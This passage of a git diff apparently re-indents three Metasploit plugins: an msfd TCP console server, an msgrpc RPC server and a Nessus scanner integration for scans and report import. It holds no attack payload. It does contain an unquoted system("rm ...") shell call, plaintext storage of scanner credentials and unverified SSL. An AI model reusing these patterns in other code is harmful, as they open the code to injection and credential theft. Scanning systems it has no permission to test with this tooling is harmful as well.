self.server.close - end + # + # The default local hostname that the server listens on. + # + DefaultHost = "127.0.0.1" + + # + # The default local port that the server listens on. + # + DefaultPort = 55554 + + # + # Initializes the msfd plugin. The following options are supported in the + # hash by this plugin: + # + # ServerHost + # + # The local hostname to listen on for connections. The default is + # 127.0.0.1. + # + # ServerPort + # + # The local port to listen on for connections. The default is 55554. + # + # SSL + # + # Use SSL + # + # RunInForeground + # + # Instructs the plugin to now execute the daemon in a worker thread and to + # instead allow the caller to manage executing the daemon through the + # ``run'' method. + # + # HostsAllowed + # + # List of hosts (in NBO) allowed to use msfd + # + # HostsDenied + # + # List of hosts (in NBO) not allowed to use msfd + # + def initialize(framework, opts) + super + + # Start listening for connections. + self.server = Rex::Socket::TcpServer.create( + 'LocalHost' => opts['ServerHost'] || DefaultHost, + 'LocalPort' => opts['ServerPort'] || DefaultPort, + 'SSL' => opts['SSL']) + + # If the run in foreground flag is not specified, then go ahead and fire + # it off in a worker thread. + if (opts['RunInForeground'] != true) + Thread.new { + run(opts) + } + end + end + + # + # Returns 'msfd' + # + def name + "msfd" + end + + # + # Returns the msfd plugin description. + # + def desc + "Provides a console interface to users over a listening TCP port." + end + + # + # Runs the msfd plugin by blocking on new connections and then spawning + # threads to handle the console interface for each client. + # + def run(opts={}) + while true + client = server.accept + + addr = Rex::Socket.resolv_nbo(client.peerhost) + + if opts['HostsAllowed'] and + not opts['HostsAllowed'].find { |x| x == addr } + client.close + next + end + + if opts['HostsDenied'] and + opts['HostsDenied'].find { |x| x == addr } + client.close + next + end + msg = "Msfd: New connection from #{client.peerhost}" + ilog(msg, 'core') + print_status(msg) + + # Spawn a thread for the client connection + Thread.new(client) { |cli| + begin + Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + 'Framework' => framework, + 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), + 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), + 'AllowCommandPassthru' => false).run + rescue + elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') + ensure + msg = "Msfd: Closing client connection with #{cli.peerhost}" + ilog(msg, 'core') + print_status(msg) + begin + cli.shutdown + cli.close + rescue IOError + end + end + } + end + end + + # + # Closes the listener service. + # + def cleanup + ilog("Msfd: Shutting down server", 'core') + self.server.close + end protected - # - # The listening socket instance. - # - attr_accessor :server + # + # The listening socket instance. + # + attr_accessor :server end diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index df98617f8ce2..432854cda0e0 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -23,103 +23,103 @@ module Msf ### class Plugin::MSGRPC < Msf::Plugin - # - # The default local hostname that the server listens on. - # - DefaultHost = "127.0.0.1" - - # - # The default local port that the server listens on. - # - DefaultPort = 55552 - - # - # ServerPort - # - # The local port to listen on for connections. The default is 55553 - # - def initialize(framework, opts) - super - - host = opts['ServerHost'] || DefaultHost - port = opts['ServerPort'] || DefaultPort - ssl = (opts['SSL'] and opts['SSL'].to_s =~ /^[ty]/i) ? true : false - cert = opts['SSLCert'] - - user = opts['User'] || "msf" - pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) - uri = opts['URI'] || "/api" - - print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") - print_status("MSGRPC Username: #{user}") - print_status("MSGRPC Password: #{pass}") - - self.server = ::Msf::RPC::Service.new(framework, { - :host => host, - :port => port, - :ssl => ssl, - :cert => cert, - :uri => uri, - :tokens => { } - }) - - self.server.add_user(user, pass) - - # If the run in foreground flag is not specified, then go ahead and fire - # it off in a worker thread. - if (opts['RunInForeground'] != true) - # Store a handle to the thread so we can kill it during - # cleanup when we get unloaded. - self.thread = Thread.new { run } - framework.threads.register(self.thread, "MetasploitRPCServer", true) - end - end - - # - # Returns 'msgrpc' - # - def name - "msgrpc" - end - - # - # Returns the plugin description. - # - def desc - "Provides a MessagePack interface over HTTP" - end - - # - # The meat of the plugin, sets up handlers for requests - # - def run - # Start the actual service - self.server.start - - # Register - framework.threads.register(Thread.current, "MetasploitRPCServer", true) - - # Wait for the service to complete - self.server.wait - end - - # - # Closes the listener service. - # - def cleanup - self.server.stop if self.server - self.thread.kill if self.thread - self.server = nil - super - end - - # - # The MSGRPC instance. - # - attr_accessor :server - attr_accessor :thread - attr_accessor :users - attr_accessor :tokens + # + # The default local hostname that the server listens on. + # + DefaultHost = "127.0.0.1" + + # + # The default local port that the server listens on. + # + DefaultPort = 55552 + + # + # ServerPort + # + # The local port to listen on for connections. The default is 55553 + # + def initialize(framework, opts) + super + + host = opts['ServerHost'] || DefaultHost + port = opts['ServerPort'] || DefaultPort + ssl = (opts['SSL'] and opts['SSL'].to_s =~ /^[ty]/i) ? true : false + cert = opts['SSLCert'] + + user = opts['User'] || "msf" + pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) + uri = opts['URI'] || "/api" + + print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") + print_status("MSGRPC Username: #{user}") + print_status("MSGRPC Password: #{pass}") + + self.server = ::Msf::RPC::Service.new(framework, { + :host => host, + :port => port, + :ssl => ssl, + :cert => cert, + :uri => uri, + :tokens => { } + }) + + self.server.add_user(user, pass) + + # If the run in foreground flag is not specified, then go ahead and fire + # it off in a worker thread. + if (opts['RunInForeground'] != true) + # Store a handle to the thread so we can kill it during + # cleanup when we get unloaded. + self.thread = Thread.new { run } + framework.threads.register(self.thread, "MetasploitRPCServer", true) + end + end + + # + # Returns 'msgrpc' + # + def name + "msgrpc" + end + + # + # Returns the plugin description. + # + def desc + "Provides a MessagePack interface over HTTP" + end + + # + # The meat of the plugin, sets up handlers for requests + # + def run + # Start the actual service + self.server.start + + # Register + framework.threads.register(Thread.current, "MetasploitRPCServer", true) + + # Wait for the service to complete + self.server.wait + end + + # + # Closes the listener service. + # + def cleanup + self.server.stop if self.server + self.thread.kill if self.thread + self.server = nil + super + end + + # + # The MSGRPC instance. + # + attr_accessor :server + attr_accessor :thread + attr_accessor :users + attr_accessor :tokens end diff --git a/plugins/nessus.rb b/plugins/nessus.rb index a0144d1aeff5..fceab3f44fc2 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -5,1679 +5,1679 @@ require 'rex/parser/nessus_xml' module Msf - class Plugin::Nessus < Msf::Plugin - - #creates the index of exploit details to make searching for exploits much faster. - def create_xindex - start = Time.now - print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") - count = 0 - # use Msf::Config.get_config_root as the location. - File.open("#{@xindex}", "w+") do |f| - #need to add version line. - f.puts(Msf::Framework::RepoRevision) - framework.exploits.sort.each { |refname, mod| - stuff = "" - o = nil - begin - o = mod.new - rescue ::Exception - end - stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" - next if not o - o.references.map do |x| - if !(x.ctx_id == "URL") - if (x.ctx_id == "MSB") - stuff << "|#{x.ctx_val}" - else - stuff << "|#{x.ctx_id}-#{x.ctx_val}" - end - end - end - stuff << "\n" - f.puts(stuff) - } - end - total = Time.now - start - print_status("It has taken : #{total} seconds to build the exploits search index") - end - - def nessus_index - if File.exist?("#{@xindex}") - #check if it's version line matches current version. - File.open("#{@xindex}") {|f| - line = f.readline - line.chomp! - if line.to_i == Msf::Framework::RepoRevision - print_good("Exploit Index - (#{@xindex}) - is valid.") - else - create_xindex - end - } - else - create_xindex - end - end - - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nessus" - end - - def commands - { - "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port .", - "nessus_admin" => "Checks if user is an admin.", - "nessus_help" => "Get help on all commands.", - "nessus_logout" => "Terminate the session.", - "nessus_server_status" => "Check the status of your Nessus Server.", - "nessus_server_feed" => "Nessus Feed Type.", - "nessus_server_prefs" => "Display Server Prefs.", - "nessus_report_list" => "List all Nessus reports.", - "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", - "nessus_report_del" => "Delete a report.", - "nessus_report_vulns" => "Get list of vulns from a report.", - "nessus_report_hosts" => "Get list of hosts from a report.", - "nessus_report_host_ports" => "Get list of open ports from a host from a report.", - "nessus_report_host_detail" => "Detail from a report item on a host.", - "nessus_scan_status" => "List all currently running Nessus scans.", - "nessus_scan_new" => "Create new Nessus Scan.", - "nessus_scan_pause" => "Pause a Nessus Scan.", - "nessus_scan_pause_all" => "Pause all Nessus Scans.", - "nessus_scan_stop" => "Stop a Nessus Scan.", - "nessus_scan_stop_all" => "Stop all Nessus Scans.", - "nessus_scan_resume" => "Resume a Nessus Scan.", - "nessus_scan_resume_all" => "Resume all Nessus Scans.", - "nessus_user_list" => "Show Nessus Users.", - "nessus_user_add" => "Add a new Nessus User.", - "nessus_user_del" => "Delete a Nessus User.", - "nessus_user_passwd" => "Change Nessus Users Password.", - "nessus_plugin_family" => "List plugins in a family.", - "nessus_plugin_details" => "List details of a particular plugin.", - "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", - "nessus_plugin_prefs" => "Display Plugin Prefs.", - "nessus_policy_list" => "List all polciies.", - "nessus_policy_del" => "Delete a policy.", - "nessus_index" => "Manually generates a search index for exploits.", - "nessus_template_list" => "List all the templates on the server.", - "nessus_db_scan" => "Create a scan of all ips in db_hosts.", - "nessus_save" => "Save username/passowrd/server/port details." - } - end - - def cmd_nessus_index - Msf::Plugin::Nessus.nessus_index - end - - def cmd_nessus_save(*args) - #if we are logged in, save session details to nessus.yaml - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nessus_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = Hash.new - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - File.open("#{@nessus_yaml}", "w+") do |f| - f.puts YAML.dump(config) - end - print_good("#{@nessus_yaml} created.") - - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nessus_db_scan(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_db_scan ") - print_status(" Example:> nessus_db_scan 1 \"My Scan\"") - print_status() - print_status("Creates a scan based on all the hosts listed in db_hosts.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - pid = args[0].to_i - name = args[1] - else - print_status("Usage: ") - print_status(" nessus_db_scan ") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - tgts = "" - framework.db.hosts(framework.db.workspace).each do |host| - tgts << host.address - tgts << "," - end - - tgts.chop! - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - - end - - def cmd_nessus_logout - @token = nil - print_status("Logged out") - system("rm #{@nessus_yaml}") - print_good("#{@nessus_yaml} removed.") - return - end - - def cmd_nessus_help(*args) - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - "Command", - "Help Text" - ], - 'SortIndex' => -1 - ) - tbl << [ "Generic Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_connect", "Connect to a nessus server" ] - tbl << [ "nessus_save", "Save nessus login info between sessions" ] - tbl << [ "nessus_logout", "Logout from the nessus server" ] - tbl << [ "nessus_help", "Listing of available nessus commands" ] - tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] - tbl << [ "nessus_admin", "Checks if user is an admin" ] - tbl << [ "nessus_server_feed", "Nessus Feed Type" ] - tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] - tbl << [ "nessus_server_prefs", "Display Server Prefs" ] - tbl << [ "", ""] - tbl << [ "Reports Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_report_list", "List all Nessus reports" ] - tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] - tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] - tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] - tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] - tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] - tbl << [ "", ""] - tbl << [ "Scan Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] - tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] - tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] - tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] - tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] - tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] - tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] - tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] - tbl << [ "", ""] - tbl << [ "Plugin Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] - tbl << [ "nessus_plugin_family", "List plugins in a family" ] - tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] - tbl << [ "", ""] - tbl << [ "User Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_user_list", "Show Nessus Users" ] - tbl << [ "nessus_user_add", "Add a new Nessus User" ] - tbl << [ "nessus_user_del", "Delete a Nessus User" ] - tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] - tbl << [ "", ""] - tbl << [ "Policy Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_policy_list", "List all polciies" ] - tbl << [ "nessus_policy_del", "Delete a policy" ] - print_status "" - print_line tbl.to_s - print_status "" - end - - def cmd_nessus_server_feed(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_feed") - print_status(" Example:> nessus_server_feed") - print_status() - print_status("Returns information about the feed type and server version.") - return - end - - if nessus_verify_token - @feed, @version, @web_version = @n.feed - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Feed', - 'Nessus Version', - 'Nessus Web Version' - ]) - tbl << [@feed, @version, @web_version] - print_good("Nessus Status") - print_good "\n" - print_line tbl.to_s - end - end - - def nessus_verify_token - if @token.nil? or @token == '' - ncusage - return false - end - true - end - - def nessus_verify_db - - if ! (framework.db and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - true - end - - def ncusage - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port ") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port ") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port ") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - return - end - - def cmd_nessus_connect(*args) - # Check if config file exists and load it - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if ! args[0] - if File.exist?("#{@nessus_yaml}") - lconfig = YAML.load_file("#{@nessus_yaml}") - @user = lconfig['default']['username'] - @pass = lconfig['default']['password'] - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - nessus_login - return - else - ncusage - return - end - end - - if args[0] == "-h" - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port ") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port ") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port ") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - print_status() - print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") - print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") - print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") - print_status("The \"ok\" on the end is important. It is a way of letting you") - print_status("know that nessus used a self signed cert and the risk that presents.") - return - end - - if ! @token == '' - print_error("You are already authenticated. Call nessus_logout before authing again") - return - end - - if(args.length == 0 or args[0].empty?) - ncusage - return - end - - @user = @pass = @host = @port = @sslv = nil - - case args.length - when 1,2 - if args[0].include? "@" - cred,targ = args[0].split('@', 2) - @user,@pass = cred.split(':', 2) - targ ||= '127.0.0.1:8834' - @host,@port = targ.split(':', 2) - @port ||= '8834' - @sslv = args[1] - else - @host,@port = args[0].split(':', 2) - @port ||= '8834' - @sslv = args[1] - end - - when 3,4,5 - ncusage - return - else - ncusage - return - end - - if /\/\//.match(@host) - ncusage - return - end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - if ! @user - print_error("Missing Username") - ncusage - return - end - - if ! @pass - print_error("Missing Password") - ncusage - return - end - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - ncusage - return - end - nessus_login - end - - def nessus_login - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("You need to connect to a server first.") - ncusage - return - end - - @url = "https://#{@host}:#{@port}/" - print_status("Connecting to #{@url} as #{@user}") - @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) - @token=@n.login(@user,@pass) - if @n.logged_in - print_status("Authenticated") - else - print_error("Error connecting/logging to the server!") - return - end - end - - def cmd_nessus_report_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_list") - print_status(" Example:> nessus_report_list") - print_status() - print_status("Generates a list of all reports visable to your user.") - return - end - - if ! nessus_verify_token - return - end - - list=@n.report_list_hash - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Status', - 'Date' - ]) - - list.each {|report| - t = Time.at(report['timestamp'].to_i) - tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus Report List") - print_good "\n" - print_line tbl.to_s + "\n" - print_status("You can:") - print_status(" Get a list of hosts from the report: nessus_report_hosts ") - end - - def check_scan(*args) - - case args.length - when 1 - rid = args[0] - else - print_error("No Report ID Supplied") - return - end - - scans = @n.scan_list_hash - scans.each {|scan| - if scan['id'] == rid - return true - end - } - return false - end - - def cmd_nessus_report_get(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_get ") - print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("This command pulls the provided report from the nessus server in the nessusv2 format") - print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") - print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") - print_status("Use: nessus_report_list to obtain a list of report id's") - return - end - - if ! nessus_verify_token - return - end - - if ! nessus_verify_db - return - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nessus_report_get ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - rid = nil - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_get ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - if check_scan(rid) - print_error("That scan is still running.") - return - end - content = nil - content=@n.report_file_download(rid) - if content.nil? - print_error("Failed, please reauthenticate") - return - end - print_status("importing " + rid) - framework.db.import({:data => content}) do |type,data| - case type - when :address - print_line("%bld%blu[*]%clr %bld#{data}%clr") - end - end - print_good("Done") - end - - def cmd_nessus_scan_status(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_status") - print_status(" Example:> nessus_scan_status") - print_status() - print_status("Returns a list of information about currently running scans.") - return - end - - if ! nessus_verify_token - return - end - - list=@n.scan_list_hash - if list.empty? - print_status("No Scans Running.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a scan: nessus_scan_new ") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Scan ID', - 'Name', - 'Owner', - 'Started', - 'Status', - 'Current Hosts', - 'Total Hosts' - ]) - - list.each {|scan| - t = Time.at(scan['start'].to_i) - tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] - } - print_good("Running Scans") - print_good "\n" - print_line tbl.to_s - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get ") - print_good(" Pause a nessus scan : nessus_scan_pause ") - end - - def cmd_nessus_template_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_template_list") - print_status(" Example:> nessus_template_list") - print_status() - print_status("Returns a list of information about the server templates..") - return - end - - if ! nessus_verify_token - return - end - - list=@n.template_list_hash - - if list.empty? - print_status("No Templates Created.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a template: nessus_template_new ") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Template ID', - 'Policy ID', - 'Name', - 'Owner', - 'Target' - ]) - - list.each {|template| - tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] - } - print_good("Templates") - print_good "\n" - print_line tbl.to_s + "\n" - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get ") - end - - def cmd_nessus_user_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_list") - print_status(" Example:> nessus_user_list") - print_status() - print_status("Returns a list of the users on the Nessus server and their access level.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_status("Your Nessus user is not an admin") - end - - list=@n.users_list - print_good("There are #{list.length} users") - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Is Admin?', - 'Last Login' - ]) - - list.each {|user| - t = Time.at(user['lastlogin'].to_i) - tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus users") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_server_status(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_status") - print_status(" Example:> nessus_server_status") - print_status() - print_status("Returns some status items for the server..") - return - end - #Auth - if ! nessus_verify_token - return - end - - #Check if we are an admin - if ! @n.is_admin - print_status("You need to be an admin for this.") - return - end - - #Versions - cmd_nessus_server_feed - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Users', - 'Policies', - 'Running Scans', - 'Reports', - 'Plugins' - ]) - #Count how many users the server has. - list=@n.users_list - users = list.length - - #Count how many policies - list=@n.policy_list_hash - policies = list.length - - #Count how many running scans - list=@n.scan_list_uids - scans = list.length - - #Count how many reports are available - list=@n.report_list_hash - reports = list.length - - #Count how many plugins - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - } - plugins = total.sum - tbl << [users, policies, scans, reports, plugins] - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_plugin_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_list") - print_status(" Example:> nessus_plugin_list") - print_status() - print_status("Returns a list of the plugins on the server per family.") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Family Name', - 'Total Plugins' - ]) - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - tbl << [ plugin['name'], plugin['num'] ] - } - plugins = total.sum - tbl << [ '', ''] - tbl << [ 'Total Plugins', plugins ] - print_good("Plugins By Family") - print_good "\n" - print_line tbl.to_s - print_status("List plugins for a family : nessus_plugin_family ") - end - - def check_policy(*args) - - case args.length - when 1 - pid = args[0] - else - print_error("No Policy ID supplied.") - return - end - - pol = @n.policy_list_hash - pol.each {|p| - if p['id'].to_i == pid - return false - end - } - return true - end - - def cmd_nessus_scan_new(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_new ") - print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") - print_status() - print_status("Creates a scan based on a policy id and targets.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 3 - pid = args[0].to_i - name = args[1] - tgts = args[2] - else - print_status("Usage: ") - print_status(" nessus_scan_new ") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - end - - def cmd_nessus_scan_pause(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause ") - print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Pauses a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_pause ") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_pause(sid) - - print_status("#{sid} has been paused") - end - - def cmd_nessus_scan_resume(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume ") - print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("resumes a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_resume ") - print_status(" use nessus_scan_status to list all available scans") - return - end - - resume = @n.scan_resume(sid) - - print_status("#{sid} has been resumed") - end - - def cmd_nessus_report_hosts(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_hosts ") - print_status(" Example:> nessus_report_hosts f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the hosts associated with a scan and details about their vulnerabilities") - print_status("use nessus_report_list to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_hosts ") - print_status(" use nessus_report_list to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Hostname', - 'Severity', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3', - 'Current Progress', - 'Total Progress' - ]) - hosts=@n.report_hosts(rid) - hosts.each {|host| - tbl << [ host['hostname'], host['severity'], host['sev0'], host['sev1'], host['sev2'], host['sev3'], host['current'], host['total'] ] - } - print_good("Report Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports ") - end - - def cmd_nessus_report_vulns(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_vulns ") - print_status(" Example:> nessus_report_vulns f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a scan and details about hosts and their vulnerabilities") - print_status("use nessus_report_list to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_vulns ") - print_status(" use nessus_report_vulns to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Hostname', - 'Port', - 'Proto', - 'Sev', - 'PluginID', - 'Plugin Name' - ]) - print_status("Grabbing all vulns for report #{rid}") - hosts=@n.report_hosts(rid) - hosts.each do |host| - ports=@n.report_host_ports(rid, host['hostname']) - ports.each do |port| - details=@n.report_host_port_details(rid, host['hostname'], port['portnum'], port['protocol']) - details.each do |detail| - tbl << [host['hostname'], - port['portnum'], - port['protocol'], - detail['severity'], - detail['pluginID'], - detail['pluginName'] - ] - end - end - end - print_good("Report Info") - print_line - print_line tbl.to_s - print_status("You can:") - print_status(" Get information from a particular host: nessus_report_host_ports ") - end - - def cmd_nessus_report_host_ports(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_ports ") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the ports associated with a host and details about their vulnerabilities") - print_status("use nessus_report_hosts to list all available hosts for a report") - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - host = args[0] - rid = args[1] - else - print_status("Usage: ") - print_status(" nessus_report_host_ports ") - print_status(" use nessus_report_list to list all available reports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Protocol', - 'Severity', - 'Service Name', - 'Sev 0', - 'Sev 1', - 'Sev 2', - 'Sev 3' - ]) - ports=@n.report_host_ports(rid, host) - ports.each {|port| - tbl << [ port['portnum'], port['protocol'], port['severity'], port['svcname'], port['sev0'], port['sev1'], port['sev2'], port['sev3'] ] 